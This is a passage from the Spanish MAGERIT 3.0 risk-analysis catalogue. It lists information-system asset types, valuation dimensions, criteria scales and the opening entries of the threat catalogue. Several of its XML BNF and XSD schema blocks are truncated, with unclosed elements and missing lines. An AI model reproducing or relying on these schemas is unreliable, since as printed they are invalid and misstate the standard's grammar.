(1) Los datos de configuración son críticos para mantener la funcionalidad de las partes y del
conjunto del sistema de información.
(2) Los registros de actividad sustancian los requisitos de trazabilidad.
2.4. [K] Claves criptográficas

Las criptografía se emplea para proteger el secreto o autenticar a las partes. Las claves criptográ
ficas, combinando secretos e información pública, son esenciales para garantizar el funcionamien
to de los mecanismos criptográficos.
[keys] Claves criptográficas

[info] protección de la información
[encrypt] claves de cifra
[shared_secret] secreto compartido (clave simétrica) (1)
[public_encryption] clave pública de cifra (2)
[public_decryption] clave privada de descifrado (2)
[sign] claves de firma
[shared_secret] secreto compartido (clave simétrica)
[public_signature] clave privada de firma (2)
[public_verification] clave pública de verificación de firma (2)
[com] protección de las comunicaciones

[channel] claves de cifrado del canal
[authentication] claves de autenticación
[verification] claves de verificación de autenticación
[disk] cifrado de soportes de información

[encrypt] claves de cifra
[x509] certificados de clave pública
(1) Por ejemplo, DES, 3-DES, AES, etc.

(2) Por ejemplo, RSA, Diffie-Hellman, curvas elípticas, etc.
2.5. [S] Servicios

Función que satisface una necesidad de los usuarios (del servicio). Esta sección contempla servi
cios prestados por el sistema.
[S] Servicios
[anon] anónimo (sin requerir identificación del usuario)
[pub] al público en general (sin relación contractual)
[ext] a usuarios externos (bajo una relación contractual)
[int] interno (a usuarios de la propia organización)

[S] Servicios
[www] world wide web
[telnet] acceso remoto a cuenta local
[email] correo electrónico
[file] almacenamiento de ficheros
[ftp] transferencia de ficheros
[edi] intercambio electrónico de datos
[dir] servicio de directorio (1)
[idm] gestión de identidades (2)
[ipm] gestión de privilegios
[pki] PKI - infraestructura de clave pública (3)
(1) Localización de personas (páginas blancas), empresas o servicios (páginas amarillas); per
mitiendo la identificación y facilitando los atributos que caracterizan al elemento determina
do.
(2) Servicios que permiten altas y bajas de usuarios de los sistemas, incluyendo su caracteriza
ción y activando los servicios de aprovisionamiento asociados a sus cambios de estado
respecto de la organización.
(3) Servicios asociados a sistemas de criptografía de clave pública, incluyendo especialmente
la gestión de certificados.
2.6. [SW] Software - Aplicaciones informáticas

Con múltiples denominaciones (programas, aplicativos, desarrollos, etc.) este epígrafe se refiere a
tareas que han sido automatizadas para su desempeño por un equipo informático. Las aplicacio
nes gestionan, analizan y transforman los datos permitiendo la explotación de la información para
la prestación de los servicios.
No preocupa en este apartado el denominado “código fuente” o programas que serán datos de
interés comercial, a valorar y proteger como tales. Dicho código aparecería como datos.
[SW] Aplicaciones (software)

[prp] desarrollo propio (in house)
[sub] desarrollo a medida (subcontratado)
[std] estándar (off the shelf)
[browser] navegador web
[www] servidor de presentación
[app] servidor de aplicaciones
[email_client] cliente de correo electrónico
[email_server] servidor de correo electrónico
[file] servidor de ficheros
[dbms] sistema de gestión de bases de datos
[tm] monitor transaccional
[office] ofimática
[av] anti virus
[os] sistema operativo
[hypervisor] gestor de máquinas virtuales
[ts] servidor de terminales
[backup] sistema de backup
2.7. [HW] Equipamiento informático (hardware)

Dícese de los medios materiales, físicos, destinados a soportar directa o indirectamente los servi
cios que presta la organización, siendo pues depositarios temporales o permanentes de los datos,

soporte de ejecución de las aplicaciones informáticas o responsables del procesado o la transmi
sión de datos.
[HW] Equipos informáticos (hardware)

[host] grandes equipos (1)
[mid] equipos medios (2)
[pc] informática personal (3)
[mobile] informática móvil (4)
[pda] agendas electrónicas
[vhost] equipo virtual
[backup] equipamiento de respaldo (5)
[peripheral] periféricos
[print] medios de impresión (6)
[scan] escáneres
[crypto] dispositivos criptográficos
[bp] dispositivo de frontera (7)
[network] soporte de la red (8)
[modem] módems
[hub] concentradores
[switch] conmutadores
[router] encaminadores
[bridge] pasarelas
[firewall] cortafuegos
[wap] punto de acceso inalámbrico
[pabx] centralita telefónica
[ipphone] teléfono IP
(1) Se caracterizan por haber pocos, frecuentemente uno sólo, ser económicamente gravosos y
requerir un entorno específico para su operación. Son difícilmente reemplazables en caso
de destrucción.
(2) Se caracterizan por haber varios, tener un coste económico medio tanto de adquisición co
mo de mantenimiento e imponer requerimientos estándar como entorno de operación. No
es difícil reemplazarlos en caso de destrucción.
(3) Se caracterizan por ser multitud, tener un coste económico relativamente pequeño e impo
ner solamente unos requerimientos mínimos como entorno de operación. Son fácilmente
reemplazables en caso de destrucción.
(4) Se caracterizan por ser equipos afectos a la clasificación como informática personal que,
además, son fácilmente transportables de un sitio a otro, pudiendo estar tanto dentro del re
cinto propio de la organización como en cualquier otro lugar.
(5) Son aquellos equipos preparados para hacerse cargo inmediato de los equipos en produc
ción.
(6) Dícese de impresoras y servidores de impresión.
(7) Son los equipos que se instalan entre dos zonas de confianza.
(8) Dícese de equipamiento necesario para transmitir datos: routers, módems, etc.
2.8 [COM] Redes de comunicaciones

Incluyendo tanto instalaciones dedicadas como servicios de comunicaciones contratados a terce
ros; pero siempre centrándose en que son medios de transporte que llevan datos de un sitio a
otro.

[COM] Redes de comunicaciones

[PSTN] red telefónica
[ISDN] rdsi (red digital)
[X25] X25 (red de datos)
[ADSL] ADSL
[pp] punto a punto
[radio] comunicaciones radio
[wifi] red inalámbrica
[mobile] telefonía móvil
[sat] por satélite
[LAN] red local
[MAN] red metropolitana
[Internet] Internet
2.9. [Media] Soportes de información

En este epígrafe se consideran dispositivos físicos que permiten almacenar in
formación de forma permanente o, al menos, durante largos periodos de tiempo.
[Media] Soportes de información

[electronic] electrónicos
[disk] discos
[vdisk] discos virtuales
[san] almacenamiento en red
[disquette] disquetes
[cd] cederrón (CD-ROM)
[usb] memorias USB
[dvd] DVD
[tape] cinta magnética
[mc] tarjetas de memoria
[ic] tarjetas inteligentes
[non_electronic] no electrónicos
[printed] material impreso
[tape] cinta de papel
[film] microfilm
[cards] tarjetas perforadas
2.10. [AUX] Equipamiento auxiliar

En este epígrafe se consideran otros equipos que sirven de soporte a los siste
mas de información, sin estar directamente relacionados con datos.
[AUX] Equipamiento auxiliar

[power] fuentes de alimentación
[ups] sistemas de alimentación ininterrumpida
[gen] generadores eléctricos
[ac] equipos de climatización
[cabling] cableado
[wire] cable eléctrico
[fiber] fibra óptica
[robot] robots
[tape] ... de cintas
[disk] ... de discos
[supply] suministros esenciales
[destroy] equipos de destrucción de soportes de información
[furniture] mobiliario: armarios, etc
[safe] cajas fuertes

2.11. [L] Instalaciones

En este epígrafe entran los lugares donde se hospedan los sistemas de información y comunica
ciones.
[L] Instalaciones
[site] recinto
[building] edificio
[local] cuarto
[mobile] plataformas móviles
[car] vehículo terrestre: coche, camión, etc.
[plane] vehículo aéreo: avión, etc.
[ship] vehículo marítimo: buque, lancha, etc.
[shelter] contenedores
[channel] canalización
[backup] instalaciones de respaldo
2.12. [P] Personal

En este epígrafe aparecen las personas relacionadas con los sistemas de información.
[P] Personal
[ue] usuarios externos
[ui] usuarios internos
[op] operadores
[adm] administradores de sistemas
[com] administradores de comunicaciones
[dba] administradores de BBDD
[sec] administradores de seguridad
[des] desarrolladores / programadores
[sub] subcontratas
[prov] proveedores
2.13. XML
Los tipos de activos cabe esperar que evolucionen en el tiempo para adaptarse a la evolución tec
nológica. Por ello se incluye a continuación una gramática de tipo XML que permita publicar perió
dicamente actualizaciones de los tipos antes descritos.
2.13.1. Sintaxis BNF

La notación se describe en el apéndice 1.
<magerit-extension>
{ tipos }*
</magerit-extension>
tipos ::=
<classes under >
{ tipo }*
</classes>
tipo ::=
<class code>
#name#
[ descripción ]
{ tipo }*
</tipo>

descripción ::=
<description>
#texto#
</description>
Atributo Ejemplo Descripción

under under=”X” X identifica a un tipo de activos ya definido, indicando que los nuevos
tipos de activos son refinamientos de X.
code code=”X” X es un identificador único que permite determinar unívocamente a qué
tipo se refiere.
2.13.2. Esquema XSD

<?xml version="1.0" encoding="ISO-8859-1" ?>
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
elementFormDefault="qualified"
attributeFormDefault="unqualified"
version="2.0">
<xsd:annotation>
<xsd:documentation>version: magerit 3.0 (2011)</xsd:documentation>
<xsd:documentation>date: 19.11.2011</xsd:documentation>
</xsd:annotation>
<xsd:element name="magerit-extension">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="classes" type="classesType"
minOccurs="0" maxOccurs="unbounded"/>
</xsd:sequence>
</xsd:complexType>
</xsd:element>
<xsd:complexType name="classesType" mixed="true">
<xsd:sequence>
<xsd:element name="class" type="classType"
</xsd:sequence>
<xsd:attribute name="under" type="xsd:string" use="required"/>
</xsd:complexType>
<xsd:complexType name="classType" mixed="true">
<xsd:sequence>
<xsd:element name="description" type="xsd:string"
minOccurs="0"/>
<xsd:element name="class" type="classType"
</xsd:sequence>
<xsd:attribute name="code" type="xsd:string" use="required"/>
</xsd:complexType>
</xsd:schema>

Magerit 3.0 Dimensiones de valoración
3. Dimensiones de valoración
Son las características o atributos que hacen valioso un activo. Una dimensión es una faceta o
aspecto de un activo, independiente de otras facetas. Pueden hacerse análisis de riesgos centra
dos en una única faceta, independientemente de lo que ocurra con otros aspectos2.
Las dimensiones se utilizan para valorar las consecuencias de la materialización de una amenaza.
La valoración que recibe un activo en una cierta dimensión es la medida del perjuicio para la or
ganización si el activo se ve dañado en dicha dimensión.
3.1. [D] Disponibilidad

[D] disponibilidad
Propiedad o característica de los activos consistente en que las entidades o procesos au
torizados tienen acceso a los mismos cuando lo requieren. [UNE 71504:2008]
¿Qué importancia tendría que el activo no estuviera disponible?

Un activo tiene un gran valor desde el punto de vista de disponibilidad cuando si una amenaza
afectara a su disponibilidad, las consecuencias serían graves.
Y recíprocamente, un activo carece de un valor apreciable desde el punto de vista de disponibili
dad cuando puede no estar disponible frecuentemente y durante largos periodos de tiempo sin por
ello causar mayor daño.
La disponibilidad es una característica que afecta a todo tipo de activos.
A menudo la disponibilidad requiere un tratamiento por escalones pues el coste de la indisponibili
dad aumenta de forma no lineal con la duración de la interrupción, desde breves interrupciones sin
importancia, pasando por interrupciones que causan daños considerables y llegando a interrup
ciones que no admiten recuperación: la organización está acabada.
3.2. [I] Integridad de los datos

[I] integridad
Propiedad o característica consistente en que el activo de información no ha sido alterado
de manera no autorizada. [ISO/IEC 13335-1:2004]
¿Qué importancia tendría que los datos fueran modificados fuera de control?
Los datos reciben una alta valoración desde el punto de vista de integridad cuando su alteración,
voluntaria o intencionada, causaría graves daños a la organización.
Y, recíprocamente, los datos carecen de un valor apreciable desde el punto de vista de integridad
cuando su alteración no supone preocupación alguna.
3.3. [C] Confidencialidad de la información

[C] confidencialidad
Propiedad o característica consistente en que la información ni se pone a disposición, ni
se revela a individuos, entidades o procesos no autorizados. [UNE-ISO/IEC 27001:2007]
¿Qué importancia tendría que el dato fuera conocido por personas no autorizadas?
2 Como es el caso típico conocido como análisis de impacto (BIA) que busca determinar el coste de las
paradas de los sistemas y desarrollar planes de contingencia para poner coto al tiempo de parada de la
organización. En este caso se hace un análisis sectario de la disponibilidad.

Los datos reciben una alta valoración desde el punto de vista de confidencialidad cuando su reve
lación causaría graves daños a la organización.
Y, recíprocamente, los datos carecen de un valor apreciable desde el punto de vista de confiden
cialidad cuando su conocimiento por cualquiera no supone preocupación alguna.
3.4. [A] Autenticidad

[A] autenticidad
Propiedad o característica consistente en que una entidad es quien dice ser o bien que
garantiza la fuente de la que proceden los datos. [UNE 71504:2008]
¿Qué importancia tendría que quien accede al servicio no sea realmente quien se cree?
La autenticidad de los usuarios de un servicio es lo contrario de la oportunidad de fraude o uso no
autorizado de un servicio.
Así, un servicio recibe una elevada valoración desde el punto de vista de autenticidad cuando su
prestación a falsos usuarios supondría un grave perjuicio para la organización.
Y, recíprocamente, un servicio carece de un valor apreciable desde el punto de vista de autentici
dad cuando su acceso por cualquiera no supone preocupación alguna.
¿Qué importancia tendría que los datos no fueran realmente imputables a quien se cree?
Los datos reciben una elevada valoración desde el punto de vista de autenticidad del origen cuan
do un defecto de imputación causaría graves quebrantos a la organización. Típicamente, se habili
ta la oportunidad de repudio.
Y, recíprocamente, los datos carecen de un valor apreciable desde el punto de vista de autentici
dad del origen cuando ignorar la fuente es irrelevante.
3.5. [T] Trazabilidad

[T] trazabilidad
Propiedad o característica consistente en que las actuaciones de una entidad pueden ser
imputadas exclusivamente a dicha entidad. [UNE 71504:2008]
¿Qué importancia tendría que no quedara constancia fehaciente del uso del servicio?
Abriría las puertas al fraude, incapacitaría a la Organización para perseguir delitos y podría supo
ner el incumplimiento de obligaciones legales.
¿Qué importancia tendría que no quedara constancia del acceso a los datos?
Abriría las puertas al fraude, incapacitaría a la Organización para perseguir delitos y podría supo
ner el incumplimiento de obligaciones legales.
3.6. XML
Las dimensiones de valoración cabe esperar que evolucionen en el tiempo para adaptarse a la
evolución tecnológica. Por ello se incluye a continuación una gramática de tipo XML que permita
publicar periódicamente actualizaciones de las dimensiones antes descritas.
3.6.1. Sintaxis BNF

<magerit-extension>
{ dimensiones }*

dimensiones ::=
<dimensions>
{ dimensión }*
</dimensions>
dimensión ::=
<dimension code >
#nombre#
[ descripción ]
</dimension>
descripción ::=
<description>
#texto#
</description>

dimensión se refiere.
3.6.2. Esquema XSD

version="2.0">
<xsd:annotation>
</xsd:annotation>
<xsd:complexType>
<xsd:sequence>
<xsd:element name="dimensions" type="dimensionsType"
</xsd:sequence>
</xsd:complexType>
</xsd:element>
<xsd:complexType name="dimensionsType" mixed="true"> <xsd:sequence>
<xsd:element name="dimension" type="dimensionType"
</xsd:sequence>
</xsd:complexType>
<xsd:complexType name="dimensionType" mixed="true">
<xsd:sequence>
minOccurs="0"/>
</xsd:sequence>
</xsd:complexType>
</xsd:schema>
3.7. Referencias
• ISO 7498-2:1989, “Information processing systems -- Open Systems Interconnection -- Basic
Reference Model -- Part 2: Security Architecture”, 1989.

• ISO/IEC 27000
• FIPS PUB 199, “Standards for Security Categorization of Federal Information and Informa
tion Systems”, December 2003.
http://csrc.nist.gov/publications/fips/index.html
• C. Alberts and A. Dorofee, “Managing information Security Risks. The OCTAVE Approach”,
http://www.cert.org/octave/

Magerit 3.0 Criterios de valoración
4. Criterios de valoración
Para valorar los activos vale, teóricamente, cualquier escala de valores. A efectos prácticos es sin
embargo muy importante que
• se use una escala común para todas las dimensiones, permitiendo comparar riesgos,
• se use una escala logarítmica, centrada en diferencias relativas de valor, que no en diferen
cias absolutas3 y
• se use un criterio homogéneo que permita comparar análisis realizados por separado
Si la valoración es económica, hay poco más que hablar: dinero. Pero frecuentemente la valora
ción es cualitativa, quedando a discreción del usuario; es decir, respondiendo a criterios subjeti
vos.
Se ha elegido una escala detallada de diez valores, dejando en valor 0 como determinante de lo
que sería un valor despreciable (a efectos de riesgo). Si se realiza un análisis de riesgos de poco
detalle, se puede optar por la tabla simplificada de menos niveles. Ambas escalas, detallada y
simplificada se correlacionan como se indica a continuación:
valor criterio
10 extremo daño extremadamente grave
9 muy alto daño muy grave
6-8 alto daño grave
3-5 medio daño importante
1-2 bajo daño menor
0 despreciable irrelevante a efectos prácticos
Las tablas siguientes pretenden guiar con más detalle a los usuarios valorando de forma homogé
nea activos cuyo valor es importante por diferentes motivos.
4.1. Escalas estándar

[pi] Información de carácter personal
6 6.pi1 probablemente afecte gravemente a un grupo de individuos
6.pi2 probablemente quebrante seriamente la ley o algún reglamento de protección de
información personal
3 Así siempre es igual de relevante que un activo sea el doble de valioso que otro, independientemente de
su valor absoluto. Por el contrario, sería extraño opinar que un activo vale dos más que otro sin explicitar
su valor absoluto pues no es igual de relevante pasar de 0,1 a 2,1, que pasar de 1.000.000 a 1.000.002.

5 5.pi1 probablemente afecte gravemente a un individuo

5.pi2 probablemente quebrante seriamente leyes o regulaciones
4 4.pi1 probablemente afecte a un grupo de individuos
4.pi2 probablemente quebrante leyes o regulaciones
3 3.pi1 probablemente afecte a un individuo
3.pi2 probablemente suponga el incumplimiento de una ley o regulación
2 2.pi1 pudiera causar molestias a un individuo
2.pi2 pudiera quebrantar de forma leve leyes o regulaciones
1 1.pi1 pudiera causar molestias a un individuo
[lpo] Obligaciones legales

9 9.lro probablemente cause un incumplimiento excepcionalmente grave de una ley o re
gulación
7 7.lro probablemente cause un incumplimiento grave de una ley o regulación
5 5.lro probablemente sea causa de incumplimiento de una ley o regulación
3 3.lro probablemente sea causa de incumplimiento leve o técnico de una ley o regulación
1 1.lro pudiera causar el incumplimiento leve o técnico de una ley o regulación
[si] Seguridad
10 10.si probablemente sea causa de un incidente excepcionalmente serio de seguridad o
dificulte la investigación de incidentes excepcionalmente serios
9 9.si probablemente sea causa de un serio incidente de seguridad o dificulte la investi
gación de incidentes serios
7 7.si probablemente sea causa de un grave incidente de seguridad o dificulte la investi
gación de incidentes graves
3 3.si probablemente sea causa de una merma en la seguridad o dificulte la investiga
ción de un incidente
1 1.si pudiera causar una merma en la seguridad o dificultar la investigación de un inci
dente
[cei] Intereses comerciales o económicos

9 9.cei.a de enorme interés para la competencia
9.cei.b de muy elevado valor comercial
9.cei.c causa de pérdidas económicas excepcionalmente elevadas
9.cei.d causa de muy significativas ganancias o ventajas para individuos u organizaciones
9.cei.e constituye un incumplimiento excepcionalmente grave de las obligaciones contrac
tuales relativas a la seguridad de la información proporcionada por terceros
7 7.cei.a de alto interés para la competencia
7.cei.b de elevado valor comercial
7.cei.c causa de graves pérdidas económicas
7.cei.d proporciona ganancias o ventajas desmedidas a individuos u organizaciones

7.cei.e constituye un serio incumplimiento de obligaciones contractuales relativas a la se

guridad de la información proporcionada por terceros
3 3.cei.a de cierto interés para la competencia
3.cei.b de cierto valor comercial
3.cei.c causa de pérdidas financieras o merma de ingresos
3.cei.d facilita ventajas desproporcionadas a individuos u organizaciones
3.cei.e constituye un incumplimiento leve de obligaciones contractuales para mantener la
seguridad de la información proporcionada por terceros
2 2.cei.a de bajo interés para la competencia
2.cei.b de bajo valor comercial
1 1.cei.a de pequeño interés para la competencia
1.cei.b de pequeño valor comercial
0 0.3 supondría pérdidas económicas mínimas
[da] Interrupción del servicio

9 9.da Probablemente cause una interrupción excepcionalmente seria de las actividades
propias de la Organización con un serio impacto en otras organizaciones
9.da2 Probablemente tenga un serio impacto en otras organizaciones
7 7.da Probablemente cause una interrupción seria de las actividades propias de la Or
ganización con un impacto significativo en otras organizaciones
7.da2 Probablemente tenga un gran impacto en otras organizaciones
5 5.da Probablemente cause la interrupción de actividades propias de la Organización
con impacto en otras organizaciones
5.da2 Probablemente cause un cierto impacto en otras organizaciones
3 3.da Probablemente cause la interrupción de actividades propias de la Organización
1 1.da Pudiera causar la interrupción de actividades propias de la Organización
[po] Orden público

9 9.po alteración seria del orden público
6 6.po probablemente cause manifestaciones, o presiones significativas
3 3.po causa de protestas puntuales
1 1.po pudiera causar protestas puntuales
[olm] Operaciones
10 10.olm Probablemente cause un daño excepcionalmente serio a la eficacia o seguridad de
la misión operativa o logística
9 9.olm Probablemente cause un daño serio a la eficacia o seguridad de la misión operati
va o logística
7 7.olm Probablemente perjudique la eficacia o seguridad de la misión operativa o logística
5 5.olm Probablemente merme la eficacia o seguridad de la misión operativa o logística
más allá del ámbito local

3 3.olm Probablemente merme la eficacia o seguridad de la misión operativa o logística

(alcance local)
1 1.olm Pudiera mermar la eficacia o seguridad de la misión operativa o logística (alcance
local)
[adm] Administración y gestión

9 9.adm probablemente impediría seriamente la operación efectiva de la Organización, pu
diendo llegar a su cierre
7 7.adm probablemente impediría la operación efectiva de la Organización
5 5.adm probablemente impediría la operación efectiva de más de una parte de la Organi
zación
3 3.adm probablemente impediría la operación efectiva de una parte de la Organización
1 1.adm pudiera impedir la operación efectiva de una parte de la Organización
[lg] Pérdida de confianza (reputación)

9 9.lg.a Probablemente causaría una publicidad negativa generalizada por afectar de for
ma excepcionalmente grave a las relaciones a las relaciones con otras organiza
ciones
9.lg.b Probablemente causaría una publicidad negativa generalizada por afectar de for
ma excepcionalmente grave a las relaciones a las relaciones con el público en ge
neral
7 7.lg.a Probablemente causaría una publicidad negativa generalizada por afectar grave
mente a las relaciones con otras organizaciones
7.lg.b Probablemente causaría una publicidad negativa generalizada por afectar grave
mente a las relaciones con el público en general
5 5.lg.a Probablemente sea causa una cierta publicidad negativa por afectar negativamen
te a las relaciones con otras organizaciones
5.lg.b Probablemente sea causa una cierta publicidad negativa por afectar negativamen
te a las relaciones con el público
3 3.lg Probablemente afecte negativamente a las relaciones internas de la
Organización
2 2.lg Probablemente cause una pérdida menor de la confianza dentro de la
Organización
1 1.lg Pudiera causar una pérdida menor de la confianza dentro de la Organización
0 0.4 no supondría daño a la reputación o buena imagen de las personas u organizacio
nes
[crm] Persecución de delitos

8 8.crm Impida la investigación de delitos graves o facilite su comisión
4 4.crm Dificulte la investigación o facilite la comisión de delitos
[rto] Tiempo de recuperación del servicio

7 7.rto RTO < 4 horas

4 4.rto 4 horas < RTO < 1 día

1 1.rto 1 día < RTO < 5 días
0 0.rto 5 días < RTO
[lbl.nat] Información clasificada (nacional)

10 10.lbl Secreto
9 9.lbl Reservado
8 8.lbl Confidencial
7 7.lbl Confidencial
6 6.lbl Difusión limitada
2 2.lbl Sin clasificar
1 1.lbl Sin clasificar
[lbl.ue] Información clasificada (Unión Europea)

10 10.ue TRES SECRET UE
9 9.ue SECRET UE
8 8.ue CONFIDENTIEL UE
7 7.ue CONFIDENTIEL UE
6 6.ue RESTREINT UE
5 5.ue RESTREINT UE
4 4.ue RESTREINT UE
3 3.ue RESTREINT UE
4.2. XML
Los tipos de activos cabe esperar que evolucionen en el tiempo para adaptarse a la evolución tec
nológica. Por ello se incluye a continuación una gramática de tipo XML que permita publicar perió
dicamente actualizaciones de los tipos antes descritos.
4.2.1. Sintaxis BNF

criterios ::=
<criteria>
{ criterio }*
</criteria>
criterio ::=
<criterion code [ value ] >
#texto#
{ criterio }*
</criterion>


value value=”X” X es un índice entre 0 y 10 de valoración cualitativa de activos.
code code=”X” X es un código único para identificar el criterio;
en relación a la tabla previa, se identificará el epígrafe; por ejemplo,
“7.4.c”
4.2.2. Esquema XSD

version="2.0">
<xsd:annotation>
</xsd:annotation>
<xsd:element name="criteria">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="criterion" type="criterionType"
</xsd:sequence>
</xsd:complexType>
</xsd:element>
<xsd:complexType name="criterionType" mixed="true">
<xsd:sequence>
<xsd:element name="criterion" type="criterionType"
</xsd:sequence>
<xsd:attribute name="value" type="xsd:integer"/>
</xsd:complexType>
</xsd:schema>
4.3. Referencias
• CCN-STIC-803 – Esquema Nacional de Seguridad – Criterios de Valoración.
• SP 800-60, “Guide for Mapping Types of Information and Information Systems to Security
Categories”, NIST, June 2004.
http://csrc.nist.gov/publications/nistpubs/index.html
• HMG, “Residual Risk Assessment Method”, INFOSEC Standard No. 1. 2003.
• C. Alberts and A. Dorofee, “Managing information Security Risks. The OCTAVE Approach”,

Magerit 3.0 Amenazas
5. Amenazas
Se presenta a continuación un catálogo de amenazas posibles sobre los activos de un sistema de
información. Para cada amenaza se presenta un cuadro como el siguiente:
[código] descripción sucinta de lo que puede pasar
Tipos de activos: Dimensiones:
• que se pueden ver afectados por este ti 1. de seguridad que se pueden ver afecta
po de amenazas das por este tipo de amenaza,
ordenadas de más a menos relevante
Descripción:
complementaria o más detallada de la amenaza: lo que le puede ocurrir a activos del tipo indi
cado con las consecuencias indicadas
5.1. [N] Desastres naturales

Sucesos que pueden ocurrir sin intervención de los seres humanos como causa directa o indire
cta.
Origen:
Natural (accidental)
5.1.1. [N.1] Fuego

[N.1] Fuego
• [HW] equipos informáticos (hardware) 1. [D] disponibilidad
• [Media] soportes de información
• [AUX] equipamiento auxiliar
• [L] instalaciones
Descripción:
incendios: posibilidad de que el fuego acabe con recursos del sistema.
Ver:
EBIOS: 01- INCENDIO
5.1.2. [N.2] Daños por agua

[N.2] Daños por agua
Descripción:
inundaciones: posibilidad de que el agua acabe con recursos del sistema.
Ver:
EBIOS: 02 - PERJUICIOS OCASIONADOS POR EL AGUA

5.1.3. [N.*] Desastres naturales

[N.*] Desastres naturales
Descripción:
otros incidentes que se producen sin intervención humana: rayo, tormenta eléctrica, terremoto,
ciclones, avalancha, corrimiento de tierras, ...
Se excluyen desastres específicos tales como incendios (ver [N.1]) e inundaciones (ver [N.2]).
Se excluye al personal por cuanto se ha previsto una amenaza específica [E.31] para cubrir la
indisponibilidad involuntaria del personal sin entrar en sus causas.
Ver:
EBIOS:
03 – CONTAMINACIÓN
04 - SINIESTRO MAYOR
06 - FENÓMENO CLIMÁTICO
07 - FENÓMENO SÍSMICO
08 - FENÓMENO DE ORIGEN VOLCÁNICO
09 - FENÓMENO METEOROLÓGICO
10 - INUNDACIÓN

5.2. [I] De origen industrial

Sucesos que pueden ocurrir de forma accidental, derivados de la actividad humana de tipo indus
trial. Estas amenazas puede darse de forma accidental o deliberada.
5.2.1. [I.1] Fuego

[I.1] Fuego
Descripción:
incendio: posibilidad de que el fuego acabe con los recursos del sistema.
Origen:
Entorno (accidental)
Humano (accidental o deliberado)
Ver:
EBIOS: 01- INCENDIO
5.2.2. [I.2] Daños por agua

[I.2] Daños por agua
Descripción:
escapes, fugas, inundaciones: posibilidad de que el agua acabe con los recursos del sistema.
Origen:
Ver:
EBIOS: 02 - PERJUICIOS OCASIONADOS POR EL AGUA

5.2.3. [I.*] Desastres industriales

[I.*] Desastres industriales
Descripción:
otros desastres debidos a la actividad humana: explosiones, derrumbes, ...
contaminación química, ...
sobrecarga eléctrica, fluctuaciones eléctricas, ...
accidentes de tráfico, ...
Se excluyen amenazas específicas como incendio (ver [I.1]) e inundación (ver [I.2]).
Se excluye al personal por cuanto se ha previsto una amenaza específica, [E.31], para cubrir
la indisponibilidad involuntaria del personal sin entrar en sus causas.
Origen:
Ver:
EBIOS: 04 - SINIESTRO MAYOR
5.2.4. [I.3] Contaminación mecánica

[I.3] Contaminación mecánica
Descripción:
vibraciones, polvo, suciedad, ...
Origen:
Ver:
EBIOS: 03 – CONTAMINACIÓN

5.2.5. [I.4] Contaminación electromagnética

[I.4] Contaminación electromagnética
(electrónicos)
Descripción:
interferencias de radio, campos magnéticos, luz ultravioleta, ...
Origen:
Ver:
EBIOS:
14 - EMISIONES ELECTROMAGNÉTICAS
15- RADIACIONES TÉRMICAS
16 - IMPULSOS ELECTROMAGNÉTICOS
5.2.6. [I.5] Avería de origen físico o lógico

[I.5] Avería de origen físico o lógico
• [SW] aplicaciones (software) 1. [D] disponibilidad
• [HW] equipos informáticos (hardware)
Descripción:
fallos en los equipos y/o fallos en los programas. Puede ser debida a un defecto de origen o
sobrevenida durante el funcionamiento del sistema.
En sistemas de propósito específico, a veces es difícil saber si el origen del fallo es físico o
lógico; pero para las consecuencias que se derivan, esta distinción no suele ser relevante.
Origen:
Ver:
EBIOS:
28 - AVERÍA DEL HARDWARE
29 - FALLA DE FUNCIONAMIENTO DEL HARDWARE

5.2.7. [I.6] Corte del suministro eléctrico

[I.6] Corte del suministro eléctrico
(electrónicos)
Descripción:
cese de la alimentación de potencia
Origen:
Ver:
EBIOS: 12 - PÉRDIDA DE SUMINISTRO DE ENERGÍA
5.2.8. [I.7] Condiciones inadecuadas de temperatura o humedad

[I.7] Condiciones inadecuadas de temperatura y/o humedad
Descripción:
deficiencias en la aclimatación de los locales, excediendo los márgenes de trabajo de los
equipos: excesivo calor, excesivo frío, exceso de humedad, ...
Origen:
Ver:
EBIOS: 11- FALLAS EN LA CLIMATIZACIÓN
5.2.9. [I.8] Fallo de servicios de comunicaciones

[I.8] Fallo de servicios de comunicaciones
• [COM] redes de comunicaciones 1. [D] disponibilidad
Descripción:
cese de la capacidad de transmitir datos de un sitio a otro. Típicamente se debe a la destruc
ción física de los medios físicos de transporte o a la detención de los centros de conmutación,
sea por destrucción, detención o simple incapacidad para atender al tráfico presente.
Origen:
Ver:
EBIOS: 13 - PÉRDIDA DE LOS MEDIOS DE TELECOMUNICACIÓN

5.2.10. [I.9] Interrupción de otros servicios y suministros esenciales

[I.9] Interrupción de otros servicios y suministros esenciales
• [AUX] equipamiento auxiliar 1. [D] disponibilidad
Descripción:
otros servicios o recursos de los que depende la operación de los equipos; por ejemplo, papel
para las impresoras, toner, refrigerante, ...
Origen:
Ver:
EBIOS: no disponible
5.2.11. [I.10] Degradación de los soportes de almacenamiento de la informa

ción
[I.10] Degradación de los soportes de almacenamiento de la información
• [Media] soportes de información 1. [D] disponibilidad
Descripción:
como consecuencia del paso del tiempo
Origen:
Ver:
EBIOS:
28 - AVERÍA DEL HARDWARE
29 - FALLA DE FUNCIONAMIENTO DEL HARDWARE

5.2.12. [I.11] Emanaciones electromagnéticas

[I.11] Emanaciones electromagnéticas
• [HW] equipos informáticos (hardware) 1. [C] confidencialidad
• [Media] media
Descripción:
hecho de poner vía radio datos internos a disposición de terceros. Es una amenaza donde el
emisor es víctima pasiva del ataque.
Prácticamente todos los dispositivos electrónicos emiten radiaciones al exterior que pudieran
ser interceptadas por otros equipos (receptores de radio) derivándose una fuga de informa
ción.
Esta amenaza se denomina, incorrecta pero frecuentemente, ataque TEMPEST (del inglés
“Transient Electromagnetic Pulse Standard”). Abusando del significado primigenio, es frecuen
te oír hablar de que un equipo disfruta de "TEMPEST protection", queriendo decir que se ha
diseñado para que no emita, electromagnéticamente, nada de interés por si alguien lo captara.
No se contempla en esta amenaza la emisión por necesidades del medio de comunicación:
redes inalámbricas, enlaces de microondas, etc. que estarán amenazadas de interceptación.
Origen:
Ver:
EBIOS: 17 - INTERCEPTACIÓN DE SEÑALES PARÁSITAS COMPROMETEDORAS

5.3. [E] Errores y fallos no intencionados

Fallos no intencionales causados por las personas.
La numeración no es consecutiva, sino que está alineada con los ataques deliberados, muchas
veces de naturaleza similar a los errores no intencionados, difiriendo únicamente en el propósito
del sujeto.
Origen:
Humano (accidental)
Ver correlación de errores y amenazas.
5.3.1. [E.1] Errores de los usuarios

[E.1] Errores de los usuarios
• [D] datos / información 1. [I] integridad
• [keys] claves criptográficas 2. [C] confidencialidad
